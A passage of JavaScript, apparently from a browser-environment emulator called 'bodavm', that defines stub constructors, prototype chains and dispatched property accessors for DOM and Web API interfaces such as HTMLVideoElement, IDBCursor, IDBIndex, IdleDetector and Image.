bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "src_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "srclang", {configurable:true, enumerable:true, get:function srclang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "srclang_get", arguments)}, set:function srclang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "srclang_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "label", {configurable:true, enumerable:true, get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "label_get", arguments)}, set:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "label_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "default", {configurable:true, enumerable:true, get:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "default_get", arguments)}, set:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "default_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "readyState_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "track", {configurable:true, enumerable:true, get:function track (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "track_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "NONE", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "LOADING", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "LOADED", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); - -bodavm.toolsFunc.defineProperty('HTMLTrackElement', "ERROR", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); - - -// HTMLUListElement对象 -bodavm.memory.globalobj['HTMLUListElement'] = function HTMLUListElement(){if (!(this instanceof HTMLUListElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLUListElement'], "HTMLUListElement"); -bodavm.memory.globalobj['HTMLUListElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLUListElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLUListElement', "compact", {configurable:true, enumerable:true, get:function compact (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLUListElement'].prototype, "HTMLUListElement", "compact_get", arguments)}, set:function compact (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLUListElement'].prototype, "HTMLUListElement", "compact_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLUListElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLUListElement'].prototype, "HTMLUListElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLUListElement'].prototype, "HTMLUListElement", "type_set", arguments)}},'prototype'); - -// HTMLUnknownElement对象 -bodavm.memory.globalobj['HTMLUnknownElement'] = function HTMLUnknownElement(){if (!(this instanceof HTMLUnknownElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLUnknownElement'], "HTMLUnknownElement"); -bodavm.memory.globalobj['HTMLUnknownElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLUnknownElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; - -// HTMLVideoElement对象 -bodavm.memory.globalobj['HTMLVideoElement'] = function HTMLVideoElement(){if (!(this instanceof HTMLVideoElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLVideoElement'], "HTMLVideoElement"); -bodavm.memory.globalobj['HTMLVideoElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLMediaElement'].prototype; -bodavm.memory.globalobj['HTMLVideoElement'].__proto__=bodavm.memory.globalobj['HTMLMediaElement']; -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "height_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "videoWidth", {configurable:true, enumerable:true, get:function videoWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "videoWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "videoHeight", {configurable:true, enumerable:true, get:function videoHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "videoHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "poster", {configurable:true, enumerable:true, get:function poster (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "poster_get", arguments)}, set:function poster (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "poster_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitDecodedFrameCount", {configurable:true, enumerable:true, get:function webkitDecodedFrameCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitDecodedFrameCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitDroppedFrameCount", {configurable:true, enumerable:true, get:function webkitDroppedFrameCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitDroppedFrameCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "playsInline", {configurable:true, enumerable:true, get:function playsInline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "playsInline_get", arguments)}, set:function playsInline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "playsInline_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "onenterpictureinpicture", {configurable:true, enumerable:true, get:function onenterpictureinpicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "onenterpictureinpicture_get", arguments)}, set:function onenterpictureinpicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "onenterpictureinpicture_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "onleavepictureinpicture", {configurable:true, enumerable:true, get:function onleavepictureinpicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "onleavepictureinpicture_get", arguments)}, set:function onleavepictureinpicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "onleavepictureinpicture_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "disablePictureInPicture", {configurable:true, enumerable:true, get:function disablePictureInPicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "disablePictureInPicture_get", arguments)}, set:function disablePictureInPicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "disablePictureInPicture_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "cancelVideoFrameCallback", {configurable:true, enumerable:true, writable:true, value:function cancelVideoFrameCallback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "cancelVideoFrameCallback", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "requestPictureInPicture", {configurable:true, enumerable:true, writable:true, value:function requestPictureInPicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "requestPictureInPicture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "requestVideoFrameCallback", {configurable:true, enumerable:true, writable:true, value:function requestVideoFrameCallback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "requestVideoFrameCallback", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitSupportsFullscreen", {configurable:true, enumerable:true, get:function webkitSupportsFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitSupportsFullscreen_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitDisplayingFullscreen", {configurable:true, enumerable:true, get:function webkitDisplayingFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitDisplayingFullscreen_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "getVideoPlaybackQuality", {configurable:true, enumerable:true, writable:true, value:function getVideoPlaybackQuality (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "getVideoPlaybackQuality", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitEnterFullScreen", {configurable:true, enumerable:true, writable:true, value:function webkitEnterFullScreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitEnterFullScreen", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitEnterFullscreen", {configurable:true, enumerable:true, writable:true, value:function webkitEnterFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitEnterFullscreen", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitExitFullScreen", {configurable:true, enumerable:true, writable:true, value:function webkitExitFullScreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitExitFullScreen", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitExitFullscreen", {configurable:true, enumerable:true, writable:true, value:function webkitExitFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitExitFullscreen", arguments)}},'prototype'); - -// MediaDeviceInfo对象 -bodavm.memory.globalobj['MediaDeviceInfo'] = function MediaDeviceInfo(){if (!(this instanceof MediaDeviceInfo)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaDeviceInfo'], "MediaDeviceInfo"); -bodavm.toolsFunc.defineProperty('MediaDeviceInfo', "deviceId", {configurable:true, enumerable:true, get:function deviceId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDeviceInfo'].prototype, "MediaDeviceInfo", "deviceId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaDeviceInfo', "kind", {configurable:true, enumerable:true, get:function kind (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDeviceInfo'].prototype, "MediaDeviceInfo", "kind_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaDeviceInfo', "label", {configurable:true, enumerable:true, get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDeviceInfo'].prototype, "MediaDeviceInfo", "label_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaDeviceInfo', "groupId", {configurable:true, enumerable:true, get:function groupId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDeviceInfo'].prototype, "MediaDeviceInfo", "groupId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaDeviceInfo', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaDeviceInfo'].prototype, "MediaDeviceInfo", "toJSON", arguments)}},'prototype'); - -// IDBCursor对象 - -bodavm.memory.globalobj['IDBCursor'] = function IDBCursor(){if (!(this instanceof IDBCursor)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBCursor'], "IDBCursor"); - -bodavm.toolsFunc.defineProperty('IDBCursor', "source", {configurable:true, enumerable:true, get:function source (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "source_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBCursor', "direction", {configurable:true, enumerable:true, get:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "direction_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBCursor', "key", {configurable:true, enumerable:true, get:function key (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "key_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBCursor', "primaryKey", {configurable:true, enumerable:true, get:function primaryKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "primaryKey_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBCursor', "request", {configurable:true, enumerable:true, get:function request (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "request_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBCursor', "advance", {configurable:true, enumerable:true, writable:true, value:function advance (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "advance", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBCursor', "continue", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "continue", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBCursor', "continuePrimaryKey", {configurable:true, enumerable:true, writable:true, value:function continuePrimaryKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "continuePrimaryKey", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBCursor', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBCursor', "update", {configurable:true, enumerable:true, writable:true, value:function update (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursor'].prototype, "IDBCursor", "update", arguments)}},'prototype'); - - -// IDBCursorWithValue对象 -bodavm.memory.globalobj['IDBCursorWithValue'] = function IDBCursorWithValue(){if (!(this instanceof IDBCursorWithValue)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBCursorWithValue'], "IDBCursorWithValue"); -bodavm.memory.globalobj['IDBCursorWithValue'].prototype.__proto__=bodavm.memory.globalobj['IDBCursor'].prototype; -bodavm.memory.globalobj['IDBCursorWithValue'].__proto__=bodavm.memory.globalobj['IDBCursor']; -bodavm.toolsFunc.defineProperty('IDBCursorWithValue', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBCursorWithValue'].prototype, "IDBCursorWithValue", "value_get", arguments)}, set:undefined},'prototype'); - -// IDBIndex对象 -bodavm.memory.globalobj['IDBIndex'] = function IDBIndex(){if (!(this instanceof IDBIndex)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBIndex'], "IDBIndex"); -bodavm.toolsFunc.defineProperty('IDBIndex', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBIndex', "objectStore", {configurable:true, enumerable:true, get:function objectStore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "objectStore_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBIndex', "keyPath", {configurable:true, enumerable:true, get:function keyPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "keyPath_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBIndex', "multiEntry", {configurable:true, enumerable:true, get:function multiEntry (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "multiEntry_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBIndex', "unique", {configurable:true, enumerable:true, get:function unique (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "unique_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBIndex', "count", {configurable:true, enumerable:true, writable:true, value:function count (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "count", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBIndex', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBIndex', "getAll", {configurable:true, enumerable:true, writable:true, value:function getAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "getAll", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBIndex', "getAllKeys", {configurable:true, enumerable:true, writable:true, value:function getAllKeys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "getAllKeys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBIndex', "getKey", {configurable:true, enumerable:true, writable:true, value:function getKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "getKey", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBIndex', "openCursor", {configurable:true, enumerable:true, writable:true, value:function openCursor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "openCursor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBIndex', "openKeyCursor", {configurable:true, enumerable:true, writable:true, value:function openKeyCursor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBIndex'].prototype, "IDBIndex", "openKeyCursor", arguments)}},'prototype'); - -// IDBKeyRange对象 -bodavm.memory.globalobj['IDBKeyRange'] = function IDBKeyRange(){if (!(this instanceof IDBKeyRange)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBKeyRange'], "IDBKeyRange"); -bodavm.toolsFunc.defineProperty('IDBKeyRange', "bound", {configurable:true, enumerable:true, writable:true, value:function bound (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].undefined, "IDBKeyRange", "bound", arguments)}}); -bodavm.toolsFunc.defineProperty('IDBKeyRange', "lowerBound", {configurable:true, enumerable:true, writable:true, value:function lowerBound (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].undefined, "IDBKeyRange", "lowerBound", arguments)}}); -bodavm.toolsFunc.defineProperty('IDBKeyRange', "only", {configurable:true, enumerable:true, writable:true, value:function only (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].undefined, "IDBKeyRange", "only", arguments)}}); -bodavm.toolsFunc.defineProperty('IDBKeyRange', "upperBound", {configurable:true, enumerable:true, writable:true, value:function upperBound (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].undefined, "IDBKeyRange", "upperBound", arguments)}}); -bodavm.toolsFunc.defineProperty('IDBKeyRange', "lower", {configurable:true, enumerable:true, get:function lower (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].prototype, "IDBKeyRange", "lower_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBKeyRange', "upper", {configurable:true, enumerable:true, get:function upper (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].prototype, "IDBKeyRange", "upper_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBKeyRange', "lowerOpen", {configurable:true, enumerable:true, get:function lowerOpen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].prototype, "IDBKeyRange", "lowerOpen_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBKeyRange', "upperOpen", {configurable:true, enumerable:true, get:function upperOpen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].prototype, "IDBKeyRange", "upperOpen_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBKeyRange', "includes", {configurable:true, enumerable:true, writable:true, value:function includes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBKeyRange'].prototype, "IDBKeyRange", "includes", arguments)}},'prototype'); - -// IdentityCredential对象 -bodavm.memory.globalobj['IdentityCredential'] = function IdentityCredential(){if (!(this instanceof IdentityCredential)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IdentityCredential'], "IdentityCredential"); -bodavm.memory.globalobj['IdentityCredential'].prototype.__proto__=bodavm.memory.globalobj['Credential'].prototype; -bodavm.memory.globalobj['IdentityCredential'].__proto__=bodavm.memory.globalobj['Credential']; -bodavm.toolsFunc.defineProperty('IdentityCredential', "token", {configurable:true, enumerable:true, get:function token (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdentityCredential'].prototype, "IdentityCredential", "token_get", arguments)}, set:undefined},'prototype'); - -// IdleDeadline对象 -bodavm.memory.globalobj['IdleDeadline'] = function IdleDeadline(){if (!(this instanceof IdleDeadline)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IdleDeadline'], "IdleDeadline"); -bodavm.toolsFunc.defineProperty('IdleDeadline', "didTimeout", {configurable:true, enumerable:true, get:function didTimeout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDeadline'].prototype, "IdleDeadline", "didTimeout_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IdleDeadline', "timeRemaining", {configurable:true, enumerable:true, writable:true, value:function timeRemaining (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDeadline'].prototype, "IdleDeadline", "timeRemaining", arguments)}},'prototype'); - -// IdleDetector对象 -bodavm.memory.globalobj['IdleDetector'] = function IdleDetector(){this._boarg= new bodaobj.window.IdleDetector();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IdleDetector'], "IdleDetector"); -bodavm.memory.globalobj['IdleDetector'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['IdleDetector'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('IdleDetector', "requestPermission", {configurable:true, enumerable:true, writable:true, value:function requestPermission (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].undefined, "IdleDetector", "requestPermission", arguments)}}); -bodavm.toolsFunc.defineProperty('IdleDetector', "userState", {configurable:true, enumerable:true, get:function userState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].prototype, "IdleDetector", "userState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IdleDetector', "screenState", {configurable:true, enumerable:true, get:function screenState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].prototype, "IdleDetector", "screenState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IdleDetector', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].prototype, "IdleDetector", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].prototype, "IdleDetector", "onchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IdleDetector', "start", {configurable:true, enumerable:true, writable:true, value:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IdleDetector'].prototype, "IdleDetector", "start", arguments)}},'prototype'); - -// IIRFilterNode对象 -bodavm.memory.globalobj['IIRFilterNode'] = function IIRFilterNode(){if (!(this instanceof IIRFilterNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'IIRFilterNode': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IIRFilterNode'], "IIRFilterNode"); -bodavm.memory.globalobj['IIRFilterNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['IIRFilterNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('IIRFilterNode', "getFrequencyResponse", {configurable:true, enumerable:true, writable:true, value:function getFrequencyResponse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IIRFilterNode'].prototype, "IIRFilterNode", "getFrequencyResponse", arguments)}},'prototype'); - -// Image对象 -bodavm.memory.globalobj['Image'] = function Image(){this._boarg= new bodaobj.window.Image();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Image'], "Image"); -bodavm.memory.globalobj['Image'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.toolsFunc.defineProperty('Image', "alt", {configurable:true, enumerable:true, get:function alt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "alt_get", arguments)}, set:function alt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "alt_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, 